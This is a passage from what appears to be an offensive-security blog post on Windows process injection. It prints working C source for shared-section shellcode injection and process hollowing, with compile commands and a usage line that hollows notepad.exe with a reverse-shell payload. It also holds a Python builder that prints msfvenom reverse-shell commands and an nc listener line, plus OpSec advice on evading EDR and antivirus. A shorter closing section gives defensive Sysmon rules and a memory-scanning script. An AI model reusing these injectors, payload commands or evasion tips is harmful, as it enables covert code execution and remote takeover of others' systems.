  3 * Uses shared memory section to deliver shellcode to target process.
  4 *
  5 * Compile:
  6 *   x86_64-w64-mingw32-gcc -o section_inject.exe section_inject.c \
  7 *       -s -mwindows -Wl,--build-id=none
  8 */
  9
 10#define WIN32_LEAN_AND_MEAN
 11#include <windows.h>
 12#include <winternl.h>
 13#include <stdio.h>
 14#include <stdlib.h>
 15#include <stdint.h>
 16
 17/* NT API typedefs */
 18typedef NTSTATUS (NTAPI *pNtCreateSection)(
 19    PHANDLE SectionHandle, ACCESS_MASK DesiredAccess,
 20    POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize,
 21    ULONG SectionPageProtection, ULONG AllocationAttributes,
 22    HANDLE FileHandle);
 23
 24typedef NTSTATUS (NTAPI *pNtMapViewOfSection)(
 25    HANDLE SectionHandle, HANDLE ProcessHandle,
 26    PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize,
 27    PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize,
 28    DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
 29
 30typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(
 31    HANDLE ProcessHandle, PVOID BaseAddress);
 32
 33typedef NTSTATUS (NTAPI *pRtlCreateUserThread)(
 34    HANDLE ProcessHandle, PSECURITY_DESCRIPTOR SecurityDescriptor,
 35    BOOLEAN CreateSuspended, ULONG StackZeroBits,
 36    PULONG StackReserved, PULONG StackCommit,
 37    PVOID StartAddress, PVOID StartParameter,
 38    PHANDLE ThreadHandle, PCLIENT_ID ClientId);
 39
 40#define STATUS_SUCCESS               0x00000000
 41#define SECTION_ALL_ACCESS           0x0F001F
 42#define SEC_COMMIT                   0x08000000
 43#define PAGE_EXECUTE_READ            0x20
 44#define PAGE_READWRITE               0x04
 45#define ViewShare                    1
 46
 47int main(int argc, char *argv[]) {
 48    if (argc < 3) {
 49        fprintf(stderr, "usage: %s <pid> <shellcode.bin>\n", argv[0]);
 50        return 1;
 51    }
 52
 53    DWORD pid = (DWORD)atoi(argv[1]);
 54
 55    FILE *f = fopen(argv[2], "rb");
 56    if (!f) { perror("fopen"); return 1; }
 57    fseek(f, 0, SEEK_END);
 58    size_t sc_len = (size_t)ftell(f);
 59    rewind(f);
 60    uint8_t *sc = (uint8_t*)malloc(sc_len);
 61    fread(sc, 1, sc_len, f);
 62    fclose(f);
 63
 64    /* load NT functions */
 65    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
 66    #define LOAD(fn) p##fn fn = (p##fn)GetProcAddress(ntdll, #fn)
 67    LOAD(NtCreateSection);
 68    LOAD(NtMapViewOfSection);
 69    LOAD(NtUnmapViewOfSection);
 70    LOAD(RtlCreateUserThread);
 71    #undef LOAD
 72
 73    /* open target */
 74    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
 75    if (!hProc) {
 76        fprintf(stderr, "[-] OpenProcess: %lu\n", GetLastError());
 77        free(sc);
 78        return 1;
 79    }
 80
 81    /* create shared section — RWX so we can write then remote-exec */
 82    HANDLE hSection = NULL;
 83    LARGE_INTEGER sz = { .QuadPart = (LONGLONG)sc_len };
 84    NTSTATUS ns = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &sz,
 85                                  PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
 86    if (ns) {
 87        fprintf(stderr, "[-] NtCreateSection: 0x%08lx\n", ns);
 88        CloseHandle(hProc);
 89        free(sc);
 90        return 1;
 91    }
 92
 93    /* map into local process for writing */
 94    PVOID  pLocal    = NULL;
 95    SIZE_T viewLocal = 0;
 96    NtMapViewOfSection(hSection, GetCurrentProcess(),
 97                       &pLocal, 0, 0, NULL, &viewLocal,
 98                       ViewShare, 0, PAGE_READWRITE);
 99
100    /* map into remote process for execution */
101    PVOID  pRemote   = NULL;
102    SIZE_T viewRemote = 0;
103    NtMapViewOfSection(hSection, hProc,
104                       &pRemote, 0, 0, NULL, &viewRemote,
105                       ViewShare, 0, PAGE_EXECUTE_READ);
106
107    printf("[*] local  map : %p\n", pLocal);
108    printf("[*] remote map : %p\n", pRemote);
109
110    /* write shellcode through local mapping — target sees it immediately */
111    memcpy(pLocal, sc, sc_len);
112    SecureZeroMemory(sc, sc_len);
113    free(sc);
114    printf("[*] shellcode written via shared section\n");
115
116    /* unmap local view — shellcode still lives in target */
117    NtUnmapViewOfSection(GetCurrentProcess(), pLocal);
118
119    /* create thread in target via RtlCreateUserThread */
120    HANDLE hThread = NULL;
121    ns = RtlCreateUserThread(hProc, NULL, FALSE, 0, 0, 0,
122                             pRemote, NULL, &hThread, NULL);
123    if (ns) {
124        fprintf(stderr, "[-] RtlCreateUserThread: 0x%08lx\n", ns);
125        CloseHandle(hSection);
126        CloseHandle(hProc);
127        return 1;
128    }
129
130    printf("[+] thread %p — no WriteProcessMemory used\n", hThread);
131    WaitForSingleObject(hThread, 8000);
132
133    CloseHandle(hThread);
134    CloseHandle(hSection);
135    CloseHandle(hProc);
136    return 0;
137}

Technique 7 — Process Hollowing

The crown jewel of process injection. Spawn a legitimate process suspended, hollow out its image, unmapping the original executable from memory, write your PE payload in its place, redirect the entry point, and resume. From the outside, it looks like notepad.exe is running. Inside, your payload owns the entire process.

  1/* hollow.c
  2 * Process hollowing (RunPE).
  3 * Spawns target suspended, replaces its image with raw PE payload.
  4 *
  5 * Compile:
  6 *   x86_64-w64-mingw32-gcc -o hollow.exe hollow.c \
  7 *       -s -mwindows -Wl,--build-id=none
  8 */
  9
 10#define WIN32_LEAN_AND_MEAN
 11#include <windows.h>
 12#include <winternl.h>
 13#include <stdio.h>
 14#include <stdlib.h>
 15#include <stdint.h>
 16
 17typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(HANDLE, PVOID);
 18
 19/* parse PE headers — returns ImageBase, SizeOfImage, AddressOfEntryPoint */
 20typedef struct {
 21    uint64_t image_base;
 22    uint32_t image_size;
 23    uint32_t entry_rva;
 24    uint16_t num_sections;
 25    uint64_t pe_offset;
 26} PEInfo;
 27
 28static int parse_pe(const uint8_t *buf, size_t len, PEInfo *out) {
 29    if (len < 64 || *(uint16_t*)buf != 0x5A4D) return 0;  /* MZ */
 30    uint32_t pe_off = *(uint32_t*)(buf + 0x3C);
 31    if (pe_off + 4 >= len) return 0;
 32    if (*(uint32_t*)(buf + pe_off) != 0x00004550) return 0; /* PE\0\0 */
 33
 34    /* optional header */
 35    uint16_t magic = *(uint16_t*)(buf + pe_off + 24);
 36    if (magic != 0x020B) {  /* PE32+ (x64) only */
 37        fprintf(stderr, "[-] only PE32+ (x64) supported\n");
 38        return 0;
 39    }
 40
 41    out->pe_offset   = pe_off;
 42    out->entry_rva   = *(uint32_t*)(buf + pe_off + 40);
 43    out->image_base  = *(uint64_t*)(buf + pe_off + 48);
 44    out->image_size  = *(uint32_t*)(buf + pe_off + 80);
 45    out->num_sections= *(uint16_t*)(buf + pe_off + 6);
 46    return 1;
 47}
 48
 49int main(int argc, char *argv[]) {
 50    if (argc < 3) {
 51        fprintf(stderr,
 52            "usage: %s <host.exe> <payload.exe>\n"
 53            "  host   : suspended process to hollow (e.g. notepad.exe)\n"
 54            "  payload: PE to inject (must be x64 executable)\n",
 55            argv[0]);
 56        return 1;
 57    }
 58
 59    char *host_path = argv[1];
 60
 61    /* load payload PE */
 62    FILE *f = fopen(argv[2], "rb");
 63    if (!f) { perror("fopen payload"); return 1; }
 64    fseek(f, 0, SEEK_END);
 65    size_t pe_len = (size_t)ftell(f);
 66    rewind(f);
 67    uint8_t *pe_buf = (uint8_t*)malloc(pe_len);
 68    fread(pe_buf, 1, pe_len, f);
 69    fclose(f);
 70
 71    PEInfo pe = {0};
 72    if (!parse_pe(pe_buf, pe_len, &pe)) {
 73        fprintf(stderr, "[-] invalid PE\n");
 74        free(pe_buf);
 75        return 1;
 76    }
 77
 78    printf("[*] payload image base : 0x%016llx\n", pe.image_base);
 79    printf("[*] payload image size : 0x%08x\n",    pe.image_size);
 80    printf("[*] payload entry RVA  : 0x%08x\n",    pe.entry_rva);
 81
 82    /* spawn host suspended */
 83    STARTUPINFOA        si = { .cb = sizeof(si) };
 84    PROCESS_INFORMATION pi = {0};
 85
 86    if (!CreateProcessA(NULL, host_path, NULL, NULL, FALSE,
 87                        CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
 88        fprintf(stderr, "[-] CreateProcess(%s): %lu\n", host_path, GetLastError());
 89        free(pe_buf);
 90        return 1;
 91    }
 92    printf("[+] spawned  %s  PID %lu  TID %lu\n",
 93           host_path, pi.dwProcessId, pi.dwThreadId);
 94
 95    /* get PEB base address from remote process */
 96    PROCESS_BASIC_INFORMATION pbi = {0};
 97    typedef NTSTATUS(NTAPI *pNtQIP)(HANDLE,PROCESSINFOCLASS,PVOID,ULONG,PULONG);
 98    pNtQIP NtQIP = (pNtQIP)GetProcAddress(
 99        GetModuleHandleA("ntdll"), "NtQueryInformationProcess");
100    NtQIP(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
101
102    /* read image base from PEB */
103    uint64_t peb_addr = (uint64_t)pbi.PebBaseAddress;
104    uint64_t host_base = 0;
105    SIZE_T   rd = 0;
106    ReadProcessMemory(pi.hProcess,
107                      (LPCVOID)(peb_addr + 0x10), /* PEB.ImageBaseAddress */
108                      &host_base, sizeof(host_base), &rd);
109    printf("[*] host image base    : 0x%016llx\n", host_base);
110
111    /* hollow — unmap the original image */
112    pNtUnmapViewOfSection NtUVOS = (pNtUnmapViewOfSection)GetProcAddress(
113        GetModuleHandleA("ntdll"), "NtUnmapViewOfSection");
114    NtUVOS(pi.hProcess, (PVOID)host_base);
115    printf("[*] host image unmapped\n");
116
117    /* allocate space for payload at its preferred base */
118    LPVOID alloc_base = VirtualAllocEx(
119        pi.hProcess, (LPVOID)pe.image_base, pe.image_size,
120        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
121
122    if (!alloc_base) {
123        /* preferred base taken — let OS pick */
124        alloc_base = VirtualAllocEx(
125            pi.hProcess, NULL, pe.image_size,
126            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
127        printf("[*] rebasing to      : %p\n", alloc_base);
128    }
129    printf("[*] alloc at           : %p\n", alloc_base);
130
131    /* write PE headers */
132    uint32_t hdr_size = *(uint32_t*)(pe_buf + pe.pe_offset + 84); /* SizeOfHeaders */
133    WriteProcessMemory(pi.hProcess, alloc_base, pe_buf, hdr_size, NULL);
134
135    /* write sections */
136    IMAGE_SECTION_HEADER *sections = (IMAGE_SECTION_HEADER*)(
137        pe_buf + pe.pe_offset + 24 +
138        *(uint16_t*)(pe_buf + pe.pe_offset + 20) /* SizeOfOptionalHeader */
139    );
140
141    for (int i = 0; i < pe.num_sections; i++) {
142        if (sections[i].SizeOfRawData == 0) continue;
143        PVOID dst = (PVOID)((uint64_t)alloc_base + sections[i].VirtualAddress);
144        WriteProcessMemory(pi.hProcess, dst,
145                           pe_buf + sections[i].PointerToRawData,
146                           sections[i].SizeOfRawData, NULL);
147        printf("[*] section %-8.8s @ %p\n", sections[i].Name, dst);
148    }
149
150    /* update PEB.ImageBaseAddress to point to our payload */
151    uint64_t new_base = (uint64_t)alloc_base;
152    WriteProcessMemory(pi.hProcess,
153                       (LPVOID)(peb_addr + 0x10),
154                       &new_base, sizeof(new_base), NULL);
155
156    /* redirect main thread entry point to payload EP */
157    CONTEXT ctx;
158    ctx.ContextFlags = CONTEXT_FULL;
159    GetThreadContext(pi.hThread, &ctx);
160    ctx.Rcx = new_base + pe.entry_rva;   /* Rcx = entry point on x64 */
161    SetThreadContext(pi.hThread, &ctx);
162
163    printf("[+] entry point → 0x%016llx\n", ctx.Rcx);
164
165    SecureZeroMemory(pe_buf, pe_len);
166    free(pe_buf);
167
168    /* resume — payload runs as notepad.exe */
169    ResumeThread(pi.hThread);
170    printf("[+] resumed — payload executing as %s\n", host_path);
171
172    CloseHandle(pi.hThread);
173    CloseHandle(pi.hProcess);
174    return 0;
175}
# compile
x86_64-w64-mingw32-gcc -o hollow.exe hollow.c -s -mwindows -Wl,--build-id=none

# hollow notepad with your reverse shell PE
./hollow.exe "C:\Windows\System32\notepad.exe" payload.exe

Python — Injection Payload Builder

Chains shellcode generation, encryption, and injection command output into one tool.

  1#!/usr/bin/env python3
  2# injection_builder.py
  3# Generates encrypted shellcode and matching injection command strings
  4# for each technique covered in this blog.
  5#
  6# Requires: pip install keystone-engine
  7#
  8# Usage:
  9#   python3 injection_builder.py --lhost 10.10.10.10 --lport 4444 --pid 1234
 10#   python3 injection_builder.py --lhost 10.10.10.10 --lport 4444 --pid 1234 \
 11#       --technique earlybird --key 0x42
 12
 13import argparse
 14import os
 15import struct
 16import random
 17
 18try:
 19    import keystone
 20    HAS_KS = True
 21except ImportError:
 22    HAS_KS = False
 23
 24
 25def rolling_xor(data: bytes, key: int) -> bytes:
 26    return bytes(b ^ ((key + i) & 0xff) for i, b in enumerate(data))
 27
 28
 29def make_shellcode_x64(lhost: str, lport: int) -> bytes:
 30    """
 31    Generate a minimal x64 reverse TCP shellcode using keystone assembler.
 32    For production use msfvenom or custom shellcode — this is illustrative.
 33    """
 34    if not HAS_KS:
 35        # fallback: msfvenom instruction
 36        print("[!] keystone not installed — use msfvenom to generate shellcode:")
 37        print(f"    msfvenom -p windows/x64/shell_reverse_tcp "
 38              f"LHOST={lhost} LPORT={lport} -f raw -o shellcode.bin")
 39        return b''
 40
 41    # pack IP as dword (little-endian)
 42    ip_bytes  = bytes(int(x) for x in lhost.split('.'))
 43    ip_dword  = struct.unpack('<I', ip_bytes)[0]
 44    port_word = struct.pack('>H', lport)  # big-endian for socket
 45
 46    # minimal WinSock reverse shell stub (illustrative, not production-grade)
 47    # In real engagements: use msfvenom, Donut, or custom shellcode
 48    asm = f"""
 49    sub rsp, 0x28
 50    and rsp, 0xFFFFFFFFFFFFFFF0
 51
 52    ; === WSAStartup ===
 53    xor rcx, rcx
 54    mov cx, 0x0202
 55    lea rdx, [rsp+0x10]
 56    ; ... (full shellcode assembly omitted for brevity — use msfvenom output)
 57    """
 58
 59    print("[!] keystone stub is illustrative — use msfvenom for real shellcode:")
 60    print(f"    msfvenom -p windows/x64/shell_reverse_tcp "
 61          f"LHOST={lhost} LPORT={lport} -f raw -o shellcode.bin")
 62    return b''
 63
 64
 65def generate_commands(technique: str, pid: int, sc_path: str,
 66                      key: int, host_exe: str) -> list:
 67    """Generate injection command strings for the chosen technique."""
 68    hex_key = f"{key:02x}"
 69
 70    commands = {
 71        'classic': [
 72            f"# Classic shellcode injection",
 73            f"./classic_inject.exe {pid} {sc_path}",
 74        ],
 75        'rwrx': [
 76            f"# RW→RX two-stage injection (no RWX)",
 77            f"./rwrx_inject.exe {pid} {sc_path} {hex_key}",
 78        ],
 79        'apc': [
 80            f"# APC injection (all threads)",
 81            f"./apc_inject.exe {pid} {sc_path}",
 82            f"# Note: fires when any thread enters alertable wait",
 83        ],
 84        'earlybird': [
 85            f"# Early Bird APC injection",
 86            f'./earlybird.exe {sc_path} {hex_key} "{host_exe}"',
 87            f"# Spawns new {os.path.basename(host_exe)} — PID will differ from {pid}",
 88        ],
 89        'hijack': [
 90            f"# Thread context hijacking",
 91            f"./thread_hijack.exe {pid} {sc_path}",
 92        ],
 93        'section': [
 94            f"# NtMapViewOfSection injection (no WriteProcessMemory)",
 95            f"./section_inject.exe {pid} {sc_path}",
 96        ],
 97        'hollow': [
 98            f"# Process hollowing (needs full PE payload, not raw shellcode)",
 99            f'./hollow.exe "{host_exe}" payload.exe',
100        ],
101    }
102    return commands.get(technique, [f"unknown technique: {technique}"])
103
104
105def main():
106    p = argparse.ArgumentParser(description="Injection payload builder")
107    p.add_argument('--lhost',      required=True)
108    p.add_argument('--lport',      default=4444, type=int)
109    p.add_argument('--pid',        default=0,    type=int,
110                   help="target PID (from Find-InjectableProcesses.ps1)")
111    p.add_argument('--technique',
112                   choices=['classic','rwrx','apc','earlybird',
113                            'hijack','section','hollow','all'],
114                   default='all')
115    p.add_argument('--key',        default=None,
116                   help="XOR key hex (e.g. 0x42) — random if omitted")
117    p.add_argument('--host-exe',
118                   default=r'C:\Windows\System32\notepad.exe')
119    p.add_argument('--out',        default='shellcode.bin')
120    args = p.parse_args()
121
122    key = int(args.key, 16) if args.key else random.randint(1, 254)
123    print(f"[*] XOR key      : 0x{key:02x}")
124    print(f"[*] target       : {args.lhost}:{args.lport}")
125    print(f"[*] inject PID   : {args.pid}")
126    print(f"[*] host exe     : {args.host_exe}")
127    print()
128
129    # shellcode gen instruction
130    print("[*] generate shellcode:")
131    print(f"    msfvenom -p windows/x64/shell_reverse_tcp "
132          f"LHOST={args.lhost} LPORT={args.lport} -f raw -o raw.bin")
133    print(f"    python3 encrypt_sc.py -i raw.bin -k 0x{key:02x} -o {args.out} --verify")
134    print()
135
136    # command output
137    techniques = (['classic','rwrx','apc','earlybird','hijack','section','hollow']
138                  if args.technique == 'all' else [args.technique])
139
140    for t in techniques:
141        cmds = generate_commands(t, args.pid, args.out, key, args.host_exe)
142        print('─' * 60)
143        for c in cmds:
144            print(c)
145    print('─' * 60)
146    print(f"\n[*] listener: rlwrap nc -lvnp {args.lport}")
147
148
149if __name__ == '__main__':
150    main()
# generate all injection commands
python3 injection_builder.py --lhost 10.10.10.10 --lport 4444 --pid 1234

# specific technique with key
python3 injection_builder.py \
    --lhost 10.10.10.10 --lport 4444 --pid 1234 \
    --technique earlybird --key 0x42

Technique Comparison

techniquenew threadAPI noiseRWX neededprocess survivesstealth
Classic CRTyeshighyes (typical)yeslow
RW→RX CRTyesmediumnoyesmedium
APCnomediumnoyesmedium
Early Birdnomediumnoyeshigh
Thread Hijacknolownoyeshigh
NtMapViewOfSectionoptionallownoyeshigh
Process Hollownew processmediumyespayload replaces hostvery high

OpSec Notes

  • CreateRemoteThread is one of the most-monitored APIs on the planet. Every major EDR generates an alert on it. Prefer APC, thread hijacking, or section-based injection for production engagements.
  • Target process selection matters enormously. Injecting into lsass.exe will trigger immediate Credential Guard and EDR alerts even if the injection itself is silent. explorer.exe and RuntimeBroker.exe are quieter targets with rich thread pools for APC delivery.
  • Architecture must match. A 64-bit shellcode in a 32-bit process crashes. A 32-bit injector cannot open a 64-bit process with PROCESS_ALL_ACCESS without WoW64 tricks. Always match bitness.
  • PROCESS_ALL_ACCESS is noisy — it’s 0x1F0FFF and shows up bright in Sysmon EID 10. Request only the access rights you need: PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD for classic injection.
  • Early Bird is the quietest CRT-equivalent because the APC fires during loader initialization before most AV hooks install themselves into the new process.
  • Process Hollowing is detected by memory integrity scanners that compare the on-disk PE with the in-memory image. Mixing in relocations and base rebasing helps, but modern EDRs have seen it all.

Detection (Blue Team)

signalevent
OpenProcess with high access on unrelated processSysmon EID 10 — ProcessAccess
CreateRemoteThread across process boundarySysmon EID 8 — CreateRemoteThread
Non-image RWX memory region in processEDR memory scan / Volatility
NtMapViewOfSection creating shared executable regionETW — kernel provider
SetThreadContext changing RIP to non-image addressETW — thread provider
QueueUserAPC to alertable thread in another processETW / API hooking
PE in memory doesn’t match on-disk imageMemory forensics — pe-sieve, Moneta
Unsigned DLL/PE loaded by signed processSysmon EID 7 — ImageLoad

Sysmon detection rules:

 1<!-- cross-process access with high rights -->
 2<ProcessAccess onmatch="include">
 3  <GrantedAccess condition="contains">0x1F0FFF</GrantedAccess>
 4  <GrantedAccess condition="contains">0x1FFFFF</GrantedAccess>
 5  <GrantedAccess condition="contains">0x40</GrantedAccess>
 6</ProcessAccess>
 7
 8<!-- CreateRemoteThread from unexpected source -->
 9<CreateRemoteThread onmatch="include">
10  <SourceImage condition="is not">C:\Windows\System32\csrss.exe</SourceImage>
11  <SourceImage condition="is not">C:\Windows\System32\wininit.exe</SourceImage>
12</CreateRemoteThread>
13
14<!-- thread context manipulation -->
15<ProcessAccess onmatch="include">
16  <GrantedAccess condition="contains">0x0400</GrantedAccess>
17</ProcessAccess>

Live memory scanner — hunt for injected shellcode:

 1# Hunt-InjectedMemory.ps1
 2# Finds non-image RWX/RX memory regions in running processes
 3# Indicator of injected shellcode or hollowed processes
 4
 5param([int[]]$PIDs)
 6
 7Add-Type @"
 8using System;
 9using System.Runtime.InteropServices;
10public class MemScan {
11    [DllImport("kernel32")] public static extern IntPtr OpenProcess(uint a, bool b, int pid);
12    [DllImport("kernel32")] public static extern bool CloseHandle(IntPtr h);
13    [DllImport("kernel32")] public static extern int VirtualQueryEx(
14        IntPtr hProcess, IntPtr lpAddress,
15        out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);
16    [StructLayout(LayoutKind.Sequential)] public struct MEMORY_BASIC_INFORMATION {
17        public IntPtr BaseAddress, AllocationBase;
18        public uint AllocationProtect, __alignment1;
19        public IntPtr RegionSize;
20        public uint State, Protect, Type, __alignment2;
21    }
22    public const uint MEM_IMAGE  = 0x1000000;
23    public const uint MEM_COMMIT = 0x1000;
24    public const uint PAGE_EXECUTE_READ       = 0x20;
25    public const uint PAGE_EXECUTE_READWRITE  = 0x40;
26    public const uint PAGE_EXECUTE_WRITECOPY  = 0x80;
27}
28"@
29
30$targets = if ($PIDs) { Get-Process -Id $PIDs } else { Get-Process }
31
32foreach ($proc in $targets) {
33    $hProc = [MemScan]::OpenProcess(0x0410, $false, $proc.Id)
34    if ($hProc -eq [IntPtr]::Zero) { continue }
35
36    $addr = [IntPtr]::Zero
37    $mbi  = New-Object MemScan+MEMORY_BASIC_INFORMATION
38    $sz   = [Runtime.InteropServices.Marshal]::SizeOf($mbi)
39
40    while ([MemScan]::VirtualQueryEx($hProc, $addr, [ref]$mbi, $sz) -gt 0) {
41        $exec = $mbi.Protect -band (0x20 -bor 0x40 -bor 0x80)
42        $notImage = $mbi.Type -ne [MemScan]::MEM_IMAGE
43        $committed = $mbi.State -eq [MemScan]::MEM_COMMIT
44
45        if ($exec -and $notImage -and $committed) {
46            Write-Host "[!] $($proc.Name) PID $($proc.Id) — " `
47                       "non-image executable region @ $($mbi.BaseAddress.ToString('X16')) " `
48                       "size $($mbi.RegionSize) prot 0x$($mbi.Protect.ToString('X'))" `
49                -ForegroundColor Red
50        }
51
52        try {
53            $next = [IntPtr]($addr.ToInt64() + $mbi.RegionSize.ToInt64())
54            $addr = $next
55        } catch { break }
56    }
57    [MemScan]::CloseHandle($hProc) | Out-Null
58}
# scan all processes
.\Hunt-InjectedMemory.ps1

# scan specific PIDs
.\Hunt-InjectedMemory.ps1 -PIDs 1234, 5678

MITRE ATT&CK

techniqueIDdescription
Process InjectionT1055Parent — all injection techniques
DLL InjectionT1055.001LoadLibrary-based injection
Portable Executable InjectionT1055.002PE written to remote memory
Asynchronous Procedure CallT1055.004APC + Early Bird
Thread Execution HijackingT1055.003Thread context hijack
Process HollowingT1055.012RunPE / image replacement
Defense EvasionTA0005Primary tactic
Privilege EscalationTA0004When injecting into higher-priv process

References

Last updated on